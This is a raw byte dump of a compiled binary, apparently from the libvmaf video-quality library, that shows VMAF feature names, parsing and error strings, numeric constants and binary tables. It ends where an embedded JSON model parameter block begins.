         �      ��-���q=      �      �?      Y@      �?      0A      �      $@  ����z&gt;�P���?H�����z&gt;{�G�zt?      @�h㈵��&gt;-C��6?�����|�=       @    ��.A      @     `X@{�G�z�?{�G�z�?       �        �������        vector::_M_realloc_insert unexpected byte &#039;%c&#039; out of memory dangling surrogate \u%04lx invalid codepoint %06lx \bfnrt/&quot; invalid escaped byte &#039;%c&#039; invalid UTF-8 text 123456789 .eE unexpected byte &#039;%c&#039; in value \
	/&quot; true [0m [35m %slibvmaf%s %s%s%s  Failed to read svm_type. Failed to read kernel_type. Found unknown kernel_type degree Failed to read degree. gamma Failed to read gamma. coef0 Failed to read coef0. nr_class Failed to read nr_class. total_sv Failed to read total_sv. Failed to read rho Failed to read label Failed to read probA Failed to read probB Failed to read nr_sv Unknown text in model file SV Failed to read SVs Failed to read support vector ERROR: %s Found unknown svm_type Frame, %s, %d, %.6f, {%d}{%d}frame: %d| %s: %.6f| &lt;VMAF version=&quot;%s&quot;&gt;
   &lt;fyi fps=&quot;%.2f&quot; /&gt;
   &lt;frames&gt;
     &lt;frame frameNum=&quot;%d&quot;  %s=&quot;%.6f&quot;    &lt;/frames&gt;
   &lt;pooled_metrics&gt;
   &lt;/pooled_metrics&gt;
   &lt;aggregate_metrics      &lt;metric name=&quot;%s&quot;  &lt;/VMAF&gt;
   &quot;version&quot;: &quot;%s&quot;,
   &quot;frames&quot;: [     {
       &quot;frameNum&quot;: %d,
       &quot;metrics&quot;: {
       }
     }         &quot;%s&quot;: %.6f%s
         &quot;%s&quot;: null%s 
  ],
   &quot;pooled_metrics&quot;: { 
  },
   &quot;aggregate_metrics&quot;: {     &quot;%s&quot;: {       &quot;%s&quot;: %.6f       &quot;%s&quot;: null 
  }
 
    &quot;%s&quot;: %.6f 
    &quot;%s&quot;: null %s: %s
 model_dict score_transform enabled knots out_lte_in out_gte_in model_type RESIDUEBOOTSTRAP_LIBSVMNUSVR norm_type linear_rescale none score_clip slopes intercepts feature_names feature_opts_dicts model %s_%04d [31m [33m [32m [34m ERROR WARNING INFO DEBUG max   expected &#039;%c&#039; instead of byte &#039;%c&#039;      invalid escape Unicode byte &#039;%c&#039;        expected digit instead of byte &#039;%c&#039;     unterminated string literal in escape   unterminated string literal in Unicode  invalid continuation for surrogate pair &#039;%c&#039;, expected &#039;\&#039;      invalid continuation for surrogate pair &#039;%c&#039;, expected &#039;u&#039;      surrogate pair continuation \u%04lx out of range (dc00-dfff)    unable to encode %06lx as UTF-8 unexpected byte &#039;%c&#039; in number  expected end of text instead of byte &#039;%c&#039;       Failed to parse SV coefficient    &lt;params qualityWidth=&quot;%d&quot; qualityHeight=&quot;%d&quot; /&gt;
      feature extractor &quot;%s&quot; registered with %d opts
                         �p���o���o���o���o���o���o���o���o���o���o�� q���o���o���o���o���o���o���o��pp���o���o���o���o���o���p���o���o���o���o���o���o��@p�����s�R�5��������������x�X�@�(�����������l�S�?�0�P���������p��`��             	�������
��������������������������
         unterminated string literal in Uunexpected end oinvalid UTF-8 chunescaped control character in sexpected member expected &#039;,&#039; or &#039;}&#039; after memberexpected &#039;:&#039; aftinvalid parser s               �������VMAF_feature_adm2_score float_psnr motion_force_zero %s_%s_%g psnr_hvs apsnr_y apsnr_cb apsnr_cr cambi enc_width Encoding width enc_height Encoding height window_size topk tvi_threshold debug vif_enhn_gain_limit forcing motion score to zero adm_enhn_gain_limit adm_norm_view_dist adm_ref_display_height ciede2000 enable_lcs enable_db write SSIM values as dB clip_db clip dB scores write MS-SSIM values as dB ciede psnr_hvs_y psnr_hvs_cb psnr_hvs_cr enable_mse enable MSE calculation enable_apsnr enable APSNR calculation reduced_hbd_peak min_sse VMAF_feature_adm_scale0_score VMAF_feature_adm_scale1_score VMAF_feature_adm_scale2_score VMAF_feature_adm_scale3_score VMAF_feature_motion_score VMAF_feature_motion2_score VMAF_feature_vif_scale0_score VMAF_feature_vif_scale1_score VMAF_feature_vif_scale2_score VMAF_feature_vif_scale3_score integer_adm2 integer_motion integer_motion2 integer_vif_scale0 integer_vif_scale1 integer_vif_scale2 integer_vif_scale3 force egl nvd rdh mse_y mse_cb mse_cr                    j������i�P�7�#��]�J���������t�\�D��5����������������������s���d��������,����������������v�������������������t��Y
�����&lt;��$����������������&lt;��A��G��&amp;��	�����������������H��|��d��L�������4�����&lt;��c(?y,?�&quot;:?y,?V԰&gt;��&gt;E�&gt;��&gt;h\8&gt;x�h&gt;��&gt;x�h&gt;s0�=
��=��&gt;
��=�.&lt;=��t=U/�=��t=�&lt;O�&lt;b =O�&lt;��hP
8��h��8P
h��  �O�.1d9.1�O�                  ��&gt;g�&gt;�                          �*Ъ�*                                 	         ��&gt;g�&gt;�      problem with feature extractor &quot;%s&quot; at index %d
        Window size to compute CAMBI: 63 corresponds to ~1 degree at 4k Ratio of pixels for the spatial pooling computation, must be 0 &gt; topk &gt;= 1.0    Visibilty threshold for luminance ΔL &lt; tvi_threshold*L_mean for BT.1886        VMAF_integer_feature_vif_scale0_score   VMAF_integer_feature_vif_scale1_score   VMAF_integer_feature_vif_scale2_score   VMAF_integer_feature_vif_scale3_score   debug mode: enable additional output    enhancement gain imposed on vif, must be &gt;= 1.0, where 1.0 means the gain is completely disabled        VMAF_integer_feature_motion_score       VMAF_integer_feature_motion2_score      VMAF_integer_feature_adm2_score enhancement gain imposed on adm, must be &gt;= 1.0, where 1.0 means the gain is completely disabled        normalized viewing distance = viewing distance / ref display&#039;s physical height  reference display height in pixels      enable luminance, contrast and structure intermediate output    enable calculation for chroma channels  reduce hbd peak value to align with scaled 8-bit content        constrain the minimum possible sse    �?   8  �&lt;���&gt;   =���&gt;  �@  �A  �C�������?      0?   @���?-DT�!	@     �f@   ��?�)��h�?   ���?    σ�?   @RD�?      4@      @     P�@:�0�yE&gt;      @A      `A      @     �?A   ��?    ��?      �A���AD��ؗ�Ҝ&lt;     ��@�������?��������������������������������hhhhhhhhhhhhhhhhP
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8888888888888888��������������������������������hhhhhhhhhhhhhhhh�   �   �   �   �   �   �   �   �      �      �      �      �      �      �      �      h      h      h      h      P
      P
      P
      P
      8      8      8      8      �      �      �      �      �      �      �      �                              h      h      h      h       �       �       �       �                               ����������������hP
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h�h�h�h�h�h�h�h��  �  �  �  �  �  �  �  �O�O�O�O�O�O�O�O�.1�.1�.1�.1�.1�.1�.1�.1d9.1d9.1d9.1d9.1d9.1d9.1d9.1d9.1�O�O�O�O�O�O�O�O�  �  �  �  �  �  �  �  ����������������OOOOOOOOOOOOOOOO����������������.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1d9d9d9d9d9d9d9d9d9d9d9d9d9d9d9d9 �   �   �   �   �   �   �   �                            �}���}���}���}���}���}���}���}�������������������&gt;�&gt;�&gt;�&gt;�&gt;�&gt;�&gt;�&gt;�&gt;�&gt;�&gt;�&gt;�&gt;�&gt;�&gt;�&gt;gggggggggggggggg�=k�p�        �p�            p�O�k.�        k.�            ../src/feature/iqa/convolve.c !args error: scale below 1x1!
 error: ms_ssim is INFINITY.
 basic_string::_M_create integer_adm_scale0 integer_adm_scale1 integer_adm_scale2 integer_adm_scale3 integer_adm integer_adm_num integer_adm_den integer_adm_num_scale0 integer_adm_den_scale0 integer_adm_num_scale1 integer_adm_den_scale1 integer_adm_num_scale2 integer_adm_den_scale2 integer_adm_num_scale3 integer_adm_den_scale3 integer_vif integer_vif_num integer_vif_den integer_vif_num_scale0 integer_vif_den_scale0 integer_vif_num_scale1 integer_vif_den_scale1 integer_vif_num_scale2 integer_vif_den_scale2 integer_vif_num_scale3 integer_vif_den_scale3 float_ssim_l float_ssim_c float_ssim_s float_ms_ssim_l_scale0 float_ms_ssim_l_scale1 float_ms_ssim_l_scale2 float_ms_ssim_l_scale3 float_ms_ssim_l_scale4 float_ms_ssim_c_scale0 float_ms_ssim_c_scale1 float_ms_ssim_c_scale2 float_ms_ssim_c_scale3 float_ms_ssim_c_scale4 float_ms_ssim_s_scale0 float_ms_ssim_s_scale1 float_ms_ssim_s_scale2 float_ms_ssim_s_scale3 float_ms_ssim_s_scale4   ../src/feature/iqa/ssim_tools.c error: for ssim, ref_stride (%d) != dis_stride (%d) bytes.
     error: unable to malloc ref_f or cmp_f.
        error: unable to malloc low-pass filter kernel.
        error: decimation fails on ref_f or cmp_f.
     error: for ms_ssim, ref_stride (%d) != dis_stride (%d) bytes.
  error: unable to malloc ref_imgs or cmp_imgs.
  error: unable to _alloc_buffers on ref_imgs.
   error: unable to _alloc_buffers on cmp_imgs.
   error: decimation fails on ref_imgs or cmp_imgs.
       basic_string::_M_construct null not valid       feature &quot;%s&quot; cannot be overwritten at index %d
                         ����������������                                                           _calc_scale     _iqa_convolve   _iqa_ssim                               ���&lt;�ډ��&#039;��
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�$&gt;�ԑ=E�� �����;b���}�:W`�;E�OA�E�W`�;�}�:b����빞_�9�}�:� ��i;&amp;�� ���}�:�_�9��빻+;:���b�����;��&lt;���;b����빻+;:                            ���:�;�u=���=?Z&gt;�2�&gt;?Z&gt;���=�u=�;���:                    ���:�;�u=���=?Z&gt;�2�&gt;?Z&gt;���=�u=�;���:                    �7�5�77s08���8]�e9���9]�e9���8s08�77�7�5�77Es8���9w�Y:�4�:�r;�4�:w�Y:���9Es8�77s08���9�ީ:��;�C�;��&lt;�C�;��;�ީ:���9s08���8w�Y:��;��C&lt;Ӿ&lt;@P�&lt;Ӿ&lt;��C&lt;��;w�Y:���8]�e9�4�:�C�;Ӿ&lt;��9=jh=��9=Ӿ&lt;�C�;�4�:]�e9���9�r;��&lt;@P�&lt;jh=��=jh=@P�&lt;��&lt;�r;���9]�e9�4�:�C�;Ӿ&lt;��9=jh=��9=Ӿ&lt;�C�;�4�:]�e9���8w�Y:��;��C&lt;Ӿ&lt;@P�&lt;Ӿ&lt;��C&lt;��;w�Y:���8s08���9�ީ:��;�C�;��&lt;�C�;��;�ީ:���9s08�77Es8���9w�Y:�4�:�r;�4�:w�Y:���9Es8�77�7�5�77s08���8]�e9���9]�e9���8s08�77�7�5                            ���:�;�u=���=?Z&gt;�2�&gt;?Z&gt;���=�u=�;���:                    ���:�;�u=���=?Z&gt;�2�&gt;?Z&gt;���=�u=�;���:                    �7�5�77s08���8]�e9���9]�e9���8s08�77�7�5�77Es8���9w�Y:�4�:�r;�4�:w�Y:���9Es8�77s08���9�ީ:��;�C�;��&lt;�C�;��;�ީ:���9s08���8w�Y:��;��C&lt;Ӿ&lt;@P�&lt;Ӿ&lt;��C&lt;��;w�Y:���8]�e9�4�:�C�;Ӿ&lt;��9=jh=��9=Ӿ&lt;�C�;�4�:]�e9���9�r;��&lt;@P�&lt;jh=��=jh=@P�&lt;��&lt;�r;���9]�e9�4�:�C�;Ӿ&lt;��9=jh=��9=Ӿ&lt;�C�;�4�:]�e9���8w�Y:��;��C&lt;Ӿ&lt;@P�&lt;Ӿ&lt;��C&lt;��;w�Y:���8s08���9�ީ:��;�C�;��&lt;�C�;��;�ީ:���9s08�77Es8���9w�Y:�4�:�r;�4�:w�Y:���9Es8�77�7�5�77s08���8]�e9���9]�e9���8s08�77�7�5                            ��hP
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��T�?��I!rг?2a�.�8�?� �ņ��?�7�sz�?����C̓?��]^��?06R�h�?̌:��e�?� �ņ��?��P��?0Tahr��?�|��T#�?UUUUUU�?&amp;���^:�@�{a���?�5�c�?      ]@     @@      i@��jM�?     `�@; ��v$r@   @�@    �BM@h��?      �?      p?      @  �ļ�A���Q��?
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  `����  f���X  �����  �����  �����  �����*  	����*  ����0
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   ���  ��  @���d  Р��x  ���  ��  P����  `����  С���  ����  P���4  ����H  ��d   ����  ����   ����  �����  ���@  p���l  �����  Ч���  ��  ��  Щ��X  �����  �����  P���8  �d  p����  �����   ����  p���   ����(   ���P  ����x  @����  `����  �����  ���  P���  ����$  ���D  �����  @���p  �   ��,  к��h  ���  ���  ����  ����  @���  ���(  ���&lt;  ���P  ���d   ��x  0���  ����  p��  ��$  ��  p��  ��  ��   ��&lt;  p���  ����  ���&lt;   ��P  @��d  P���  ����  ����  p��   ���,  ���h    ���  � ��  !��&lt;  p#���  �%��  �%��(  �&#039;��x  �(���  ,��  �,��P  �-���  �3���  4���  �6��(  p7���  �7���  �8��  �9��d  �:���  ;���  0C��h  `C��|  �C���  �C���  �C���  �C���  0E��    �F��X   @G���   �G���   `H���   �H�� !  �I��p!  �J���!  �J���!  �J���!  �V��`&quot;  0W��|&quot;  @W���&quot;  �W���&quot;  �W���&quot;  �W���&quot;  �X�� #  �Y��h#   Z���#  �Z���#  0[���#  �]��@$  p^���$   _���$   `��$%  �`��|%  �`���%  �`���%  `b��&amp;  �b��(&amp;   d��p&amp;  d���&amp;  pd���&amp;  �d���&amp;  �d���&amp;  �d���&amp;  0e�� &#039;  `e��&#039;  `j���&#039;  �j���&#039;  �j���&#039;  `k���&#039;  �k��$(  �k��8(  �k��L(  l��`(   l��t(  0l���(  @l���(  �l���(  �l���(  �l���(  �m���(  �m�� )  `n��4)  o��H)  0o��\)  Po��p)  po���)  �o���)  q�� *  �����*  ����+  ����d+  0����+  P����+  ����L,   ����,  ����-  ����P-   ����-  м���-  ����-  ����4.  P���p.  ����.  ��� /  ���4/   ��x/  ��/  0�0  p�L0  �0  ����0  @.���0  �9��(1   @��X1  @E���1  �F���1  `K�� 2  Pv��p2  �v���2  �w���2  �w���2  px��(3  �x��L3   y���3  `y���3  z���3  �z��44  �z��H4   |���4  `}���4  ���x5  ���5  ��$6  ���T6  �	��7  P��D7  ����7  0���7  ��D8  ����8  ����8  ���89  ��T9  ����9   ���9  @��8:   ��t:  �&quot;���:  �&#039;��;  @*��T;  P-���;  @.���;  /��$&lt;  p/��8&lt;  00��d&lt;   2���&lt;  �2���&lt;  03���&lt;  07��=  �7��0=  8��X=  @8��t=  �9���=  `:��&gt;  `;��D&gt;  P&lt;���&gt;  0=���&gt;  @=���&gt;  `=���&gt;   @��@?  PC���?  @F���?  `F���?  �F�� @  �F��@  �F��(@  �F��&lt;@  G��P@  �G��p@  H���@  �H���@  `I��$A  �J���A  �J���A   K���A  @N��B  �T��|B  �V���B  X��0C  �]���C  pd��8D  Pf���D  `f���D  �f���D   h��E   h��0E  Pp���E  q���E  @r��F  `u��`F  �u���F  @v���F  �v���F  �v���F  �v��G   w��,G  @{��hG  �}���G  �~���G  �~���G  0���8H  ����PH  �����H  ����I  Х��DI  p���pI  ���I  p��� J  ���K  0���L  P���(L  ����`L  @����L   ��� M   ���LM  ���M             zR x�  $      �m��`   FJw� ?;*3$&quot;       D   ����#          X   �����         l    ���I          �   \���&#039;          �   x���       l   �   t����   S�G�B �H(�D0�F8�GP~
8A0A(B BBBCD
8F0A(B BBBEH������        ��       H   ,  ����[   F�B�B �B(�A0�A8�G`
8A0A(B BBBH   x  ԓ���         �  P���	          �  L���	          �  H���[          �  ����	          �  ����f    F�SG�$   �  ���    B�D�D �DB$      �����    B�N�G iDB   H  ���m          \  p���    E�S   (   x  t���   A�G� L�@L�A�
AA   �  h���	          �  d���       0   �  `���y    F�A�D ~
DBAeAB P      ����b   O�B�B �B(�D0�A8�D@}
8A0A(B BBBK�������(   T  ș��]    F�D�D �FAG  (   �  ����@    F�D�E �iAB      �  ���          �  ���       H   �  (����    F�E�E �B(�D0�H8�D@�
8D0A(B BBBH H      ̚���    F�E�B �E(�G0�A8�D`�
8A0A(B BBBC @   l  p����    F�B�E �D(�C0�F@y
0A(A BBBE @   �  ܛ��   F�E�B �D(�A0�G@�
0D(A BBBA T   �  �����   N�B�B �E(�D0�C8�KP�
8A0A(B BBBCx������   (   L  ����    F�D�G ��AB  (   x  ����    F�D�C �nAB     �  ؞��*    E�[
HA $   �  ��\    F�H�G |DB $   �   ���d    F�H�G DDB$     h���N    F�H�G nDB $   &lt;  ����V    F�H�G vDB $   d  ȟ���    F�H�G fDB$   �  0����    F�H�G nDB   �  ����    E�L      �  ����^          �  ��       $   �  �l    E�J�D0REA      &lt;���h    H W   8  ����F    E�M nA L   X  ġ���   F�E�A �A(�G0�
(A ABBD�
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EAED
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EAD�
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ABA�
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   F�E�E �E(�A0�D8�G��
8A0A(B BBBJ�
8A0A(B BBBA $       zR x��������      ,   �s��       P   H  ����E  :  A�CB�J�����.�. .d. +.�. �.?
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  `��g       (   �
  ���*   E�A�G0�
AAA   �
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8E0A(B BBBA0     x���    F�E�A �G0@
 ABBH d   8  ���   F�B�B �B(�A0�A8�G�j
8A0A(B BBBE�
8A0A(B BBBA   H   �  |��Q   F�B�B �B(�A0�A8�Np�
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8D0A(B BBBI   \   �  ����&gt;   X�I�B �B(�A0�A8�G`�8A0A(B BBBH������H`������    P  ���P          d  ���       8   x  ���   F�B�A �A(�D0�
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8D0A(B BBBEY
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8A0A(B BBBLZ8F0A(B BBB(   �  ���v    F�A�G P
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8A0A(B BBBED
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8A0A(B BBBA 4   4  %��X   F�A�D ��
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(D BBBBD8e@S8D0A(A BBB (     d&#039;���    B�D�A �`
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(D BBBF{
(D BBBC  4   �  x(���    B�D�E �q
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8D0A(B BBBFd
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(A BBBFc�����   (   |  @6��m    J�D�H LCAA�� ,   �  �6���    O�D�A �CBA���  4   �  �6��k    F�A�A �M
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0F(A BBBFD0C(A BBB      �  ,;��          �  (;��	       `   �  $;���   W�D�D0j
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(A BBBE}�����     �  �=��	          �  �=��^    RB   �  �=��	          �  �=��          �  �=��    HK     �  �=��q    J�E
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�F�B�Jc
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8C0A(B BBBA   �   `&quot;  l���T   O�B�B �B(�D0�A8�DP�
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8D�0A�(B� B�B�B�J�
8C0A(B BBBG~������(   �&quot;  @���Y    K�A�D �z�A�B�H   #  t���   B�B�B �J(�I0�D8�Dp�
8D0A(B BBBE0   d#  H���{    F�K�D �G�Q
 DBBA8   �#  �����    F�B�L �G(�G�i
(D BBBA,   �#  ���3   A�CH����D��
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0D(B BBBA8   H$  �����    F�H�H �D(�G�T
(D BBBA,   �$  ؑ��d   E�CB�G��E�T�N
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IFI F(B0RB
EAI F(B0RB
JAC F(B0RB
HAI F(B0RB       4%  ����       @   H%  ����   K�D�H �K(�C0�C8��0A(B BBB H   �%  ����
   B�L�I �B(�A0�A8�DX�8A0A(B BBB   @   �%  D���   F�E�E �B(�A0�A8��0A(B BBB @   &amp;   ���&gt;   B�B�B �H(�A0�A8�$0A(B BBB L   `&amp;  ����   B�B�B �B(�A0�A8�G�w
8A0A(B BBBA   (   �&amp;  l����/   E�C`������/  ,   �&amp;   �G   E�CT�����
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C  (   l&#039;  ���   E�IH����L�� H   �&#039;  ���a   F�B�B �E(�D0�D8�D`�
8C0A(B BBBD L   �&#039;  ����   J�J�E �E(�D0�A8�J��
8I0A(F BBBI   L   4(  8���*   F�G�B �B(�A0�E8�G��
8A0A(B BBBA       �(  �C���    E�A�|A  $   �(  DD���    k�H�KAA��   (   �(  �D��I    F�A�A �x
ABA&lt;   �(  �D���    F�B�B �A(�A0�Q
(D BBBI       &lt;)  @E��=    J�e
AFA�   8   `)  \E��m    J�A�G a
AAK]
AAAG��     �)  �E��=    J�d
BFA�   0   �)  �E���    N�D�A �e
ABE]��� P   �)  (F���    O�E�B �B(�A0�A8�D@�
8A0A(B BBBAG������   H*  �F��       H   \*  �F��!   F�I�D �H(�F0{
(D ABBKd(D DBB P   �*  �G��?   F�B�B �E(�A0�A8�DP�XD`kXAPD8D0A(B BBB�   �*  pH��8I   F�N�I �B(�A0�A8�J�e�Z�E�A���T�H�A��;�S�t�B�Q��
8A0A(B BBBA   ,   �+   ���$   E�CB�I���O��
I x   �+   ���   F�lI F(B0RB
IFI F(B0RB
EAI F(B0RB
JAC F(B0RB
HAI F(B0RB,   8,  �����%   E�CB�U�����
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ABGJ(D0G8A@FHBPR D
ABAE(D0G8A@FHBPR D
ABFE(A0D8A@FHBPR D
ABDE(D0G8A@FHBPR DAB,   (-  ���   E�CH����D��
A  L   X-  ��h   F�B�B �B(�A0�A8�D��
8A0A(B BBBA   \   �-  $��c   F�E�B �E(�J0�C8�FpnxZ�B�F�^p�
8A0A(B BBBA   L   .  4���   F�B�B �B(�G0�A8�D�E
8D0A(B BBBF   H   X.  ����    F�B�B �A(�A0�e
(C BBBFA(F BBBL   �.  ���    F�E�A �I(�L0{
(D ABBKF
(A ABBD   T   �.  ���   F�E�E �B(�A0�A8�DPPXK`LXAPI
8D0A(B BBBJ    L/  p��R    J�AA�&lt;   h/  ����    O�E�B �A(�A0��(C BBBA�����L   �/  T�(   F�B�B �B(�A0�A8�G��
8D0A(B BBBJ   P   �/  4�   O�B�B �B(�D0�A8�DP�
8D0A(B BBBDf������8   L0   ��    I�B�B �E(�A0��(A BBB  H   �0  ���   F�B�B �B(�A0�A8�Dx�8A0A(B BBB   L   �0  (��   F�E�E �B(�A0�A8�F�v
8A0A(B BBBF   @   $1  ��G   F�B�B �B(�A0�A8�/0A(B BBB D   h1  ��   F�I�E �B(�A0�A8��
0A(B BBBA  @   �1  ���    F�E�B �B(�A0�A8��0A(B BBB  @   �1  X��    F�B�B �H(�A0�D8��0A(B BBB     82  ��T       (   L2  0�    L�H�I ��DB  0   x2  ���   B�E�A �A(�� AEB 8   �2  �����    B�B�D �D(�G��
(A ABBA$   �2  ��k    R�L�JAA��      3  ,����   P@T
L   ,3  ���T    DO$   D3  X���t    A�C�F0gAA   l3  ����%    AA^  H   �3  ���X   F�B�B �B(�A0�A8�DP�
8D0A(B BBBA H   �3  ����    F�B�B �E(�A0�A8�D@~
8D0A(B BBBH 4    4  L����    N�A�L �
AAAM��F ��H   X4  ����    F�B�B �B(�A0�A8�DP�
8D0A(B BBBA 8   �4  �����    O�F�A �G(�D0�(D� A�B�B�   �4  \���          �4  X���       H   5  d����   F�E�B �B(�D0�C8�L�l8A0A(B BBB  H   T5  � ��P   F�E�B �E(�A0�C8�L�#8A0A(B BBB  H   �5  ����   F�B�B �E(�D0�I8�Gp�8A0A(B BBB      �5  `��           6  l��          6  x��          (6  t��0          &lt;6  ���          P6  ���1          d6  ����    H�S0|E(   �6  H��A    I�D�L \AAI��  \   �6  l���    J�E�B �E(�D0�C8�F@K8A0A(B BBBA������C@������  $   7  ����    E�H�D0�DAd   87  4��,   Q�F�J �B(�D0�D8�GP�
8F0A(B BBBFD8C0A(B BBBA������    �7  ���7          �7  (	��/       L   �7  D	��&gt;   F�D�B �B(�A0�C8�G��
8A0A(B BBBA   t   8  4��]   F�B�B �B(�A0�A8�D���H�y�B���J�m�O�W�A��
8A0A(B BBBA d   �8  ��)   F�B�E �B(�A0�D8�D��
8A0A(B BBBES
8A0A(B BBBA   H   �8  ���8   H�B�B �E(�G0�A8�Fp8C0A(B BBB   �   D9  ����   F�B�B �B(�A0�A8�G��
8A0A(B BBBD��H�V�A�T�F�W�A�E�F�F�B�v� �   �9  ���   F�E�B �B(�A0�A8�G�b�N�F�A�I�Z�T�A�s
8D0A(B BBBIr�F�D�B�a� x   L:  0 ���   F�B�B �B(�A0�A8�Dp�
8A0A(B BBBAD
8F0A(B BBBAw
8C0A(B BBBA   �:  �!��          �:  �!��       8   �:  �!��s   F�J�A �A(�DP@
(D ABBA    ,;  �&quot;��    HO L   D;  �&quot;��$   F�B�H �B(�F0�A8�G�f
8A0A(B BBBA   @   �;  �*���    F�D�D �n
ABAT
ABIu
ABAH   �;  D+��(   F�E�B �F(�A0�A8�GP�
8A0A(B BBBF L   $&lt;  (,��   F�E�B �B(�A0�A8�G�O
8A0A(B BBBE   4   t&lt;  �.��k    F�H�D �A(�G0J(A ABB$   �&lt;  0/��m    J�L�TAA��      �&lt;  x/��E    E�      �&lt;  �/��#    TK    =  �/��)    E�c      $=  �/��)    E�c   8   @=  �/��   F�K�C ��
ABGB
ABK &lt;   |=  �3��G   F�L�E �D(�A0�
(A BBBA  ,   �=  �5���    F�I�D �j
ABH      �=  �6��	       H    &gt;  �6���   F�B�B �B(�A0�A8�Dp
8D0A(B BBBG   L&gt;  �8��K    df X   d&gt;  (9��7   F�G�B �E(�D0�D8�HpjxM�XxDp�
8D0A(B BBBI  d   �&gt;  &lt;���   F�B�B �E(�A0�D8�G�6

8F0A(B BBBH4
8A0A(B BBBI ,   (?  dJ��E   E�FP������
I   (   X?  �\���    F�A�J�m
ABG`   �?  �\��m   F�F�B �B(�A0�A8�G�R�M�H�F�b��
8D0A(B BBBK  H   �?  `���    F�P�P �D(�A0�^
(D BBBE^(A HBB �  4@  H`��b   F�B�B �B(�D0�A8�G���K�F�F�F�F�C�C�C�C�C�C�C�C�C�C�C�C�C�C�C�B�i��
8D0A(B BBBC�N�F�F�F�F�C�C�C�C�C�C�C�C�C�C�C�C�C�C�C�B�[�}�K�F�F�F�F�C�C�C�C�C�C�C�C�C�C�C�C�C�C�C�B�b�k�K�F�F�F�F�C�C�C�C�C�C�C�C�C�C�C�C�C�C�C�B�[�  $   �A  �k��F    E�A�D wCA     B  l��    E�X   4   &lt;B   l��M    F�B�D �A(�D0r(D ABB H   tB  8l���   F�B�B �B(�A0�A8�D`o
8D0A(B BBBB  P   �B  �m���    Z�B�E �D(�D0�P
(A BBBHY(F BBBC�����  H   C  �m��   F�B�B �B(�A0�A8�D`�
8A0A(B BBBKT   `C  �o���   F�J�E �D(�A0�DpYxI�F�F�IpJ
0D(A BBBF  X   �C  4q��   F�J�E �D(�A0�G�_�I�I�F�I�P
0D(A BBBD       ��  6� W� ��� ��     ��x��  ��! ��  �	�! �
�  �$�&quot; ��! �G�&quot; ��&quot; ��  �(�! ��! �T�! ��&quot; ��  ��&quot; ��&quot; �I�&quot; ��&quot; ��  ��  %-  RW {M  �� �  ������( ��* �4�* ��) ��* ��)���)��(��)��)���)��)��*��*��*��(���)��*�!�)�!�)�!,�)�&quot;�)�&quot;�)�&quot;�*�#�)�#�(�#�* �$��)�(�)�*�*   }       df �����-�I�_��� �����  ���  ������	���d����
�����  �����������:��	�	�	��
�
�
�   }       �e ����X  ��. ��. ��. ��. ��/ �	�/ ��. ���.��.��.��/���.��-��.��.��.��-���/�%�-�&amp;�/�&amp;$�.�&#039;�0�&#039;�.�&#039;�0�(�.�(�/�)��.�-�-�/�/  }   �d ����g� ���  ������
��p  �������-��������������$��	�	�	��	��	$��
��
��
��
����$�  }   d                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                 Ь      ��      �                             �     
�     �     �     !�                             -�     3�     :�     D�     P�                     �     ��      p�      �      @�      ��              ��     �       �      �      ��      ��              �      �      �      p�      ��       �                      ��     ��     ��     ��                                     ��     ��     ��     ��                                      �     �     �     �                             /�     9�     `                   t@      �@H�     S�     d                   i@     �@c�     (�     p     ?             .@     �_@o�     h�     x     333333�?-C��6?      �?t�     ��     �     �~j�t�?-C��6?      �?                                                ��     ��     �                              ��     �     �           Y@      �?      Y@                                                                ��     ��     p                             �     ��     q                                                                                              ��     ��     �                              ��     ��                 Y@      �?      Y@�     �                @      �?      8@�     `�          8            �?     �@                                                                �     ��                                    �     �                                    .�     6�                                                                                    �     ��                                    �     E�                                    .�     6�                                                                                    L�     �                                    ��     ��                                    ��     ��                                    �     �                                    �     0                             �������                                                �     �     �     �     Z�     n�     e�     k�     �     �     �     �     �     �     &amp;�     �     D�     �     b�     $�     |�     3�     ��     C�     ��     V�     �     i�     �     |�     ��     �     8�     �     `�     +�     �     ;�     0�     N�     X�     a�     ��     t�     �     ��     ��     ��     ��     ��     �     ��     �     ��     ��     ��     ��             �     �     !�                                                                                                                                                                                                      �       �                                              Po     �[                                                             ��                      �                     W�                     e�                     t�                                                                                                                                                                      &#039;             5             ?              �             @�            Ј                          ؈                   ���o    `             8,             0
      
                                   �            �                           n             hP             �      	                             ���o           ���o    O      ���o           �o    @L      ���o    �                                                                                       �                     6�      F�      V�      f�      v�      ��      ��      ��      ��      Ɛ      ֐      �      ��      �      �      &amp;�      6�      F�      V�      f�      v�      ��      ��      ��      ��      Ƒ      ֑      �      ��      �      �      &amp;�      6�      F�      V�      f�      v�      ��      ��      ��      ��      ƒ      ֒      �      ��      �      �      &amp;�      6�      F�      V�      f�      v�      ��      ��      ��      ��      Ɠ      ֓      �      ��      �      �      &amp;�      6�      F�      V�      f�      v�      ��      ��      ��      ��      Ɣ      ֔      �      ��      �      �      &amp;�      6�      F�      V�      f�      v�      ��      ��      ��      ��      ƕ      ֕      �      ��      �      �      &amp;�      6�      F�      V�      f�      v�      ��      ��      ��      ��      Ɩ      ֖      �      ��      �      �      &amp;�      6�      F�      V�      f�      v�      ��      ��      ��      ��      Ɨ      ֗      �      ��      �      �      &amp;�      6�      F�      V�      f�      v�      ��      ��      ��      ��      Ƙ      ֘      �      ��      �      �      &amp;�      6�      F�      V�      f�      v�      ��      ��      ��      ��      ƙ      ֙      �      ��      �      �      &amp;�      6�      F�      V�      f�      v�      ��      ��      ��      ��      ƚ      ֚      �      ��      �      �      &amp;�      6�      F�      V�      f�      v�      ��      ��      ��      ��      ƛ      ֛      �      ��      �      �      &amp;�      6�      F�      V�      f�      v�      ��      ��      ��      ��      Ɯ      ֜      �      ��      �      �      &amp;�      6�      F�      V�      f�      v�      ��      ��      ��      ��      Ɲ      ֝      �      ��      �      �      &amp;�      6�      F�      V�      f�      v�      ��      ��      ��      ��      ƞ      ֞      �      ��      �      �      &amp;�      6�      F�      V�      f�      v�                                                                                                                                                                                                                                                                                                                      ~Y                              {
    &quot;param_dict&quot;: {
        &quot;norm_type&quot;: &quot;clip_0to1&quot;,
        &quot;score_clip&quot;: [
            0.0,
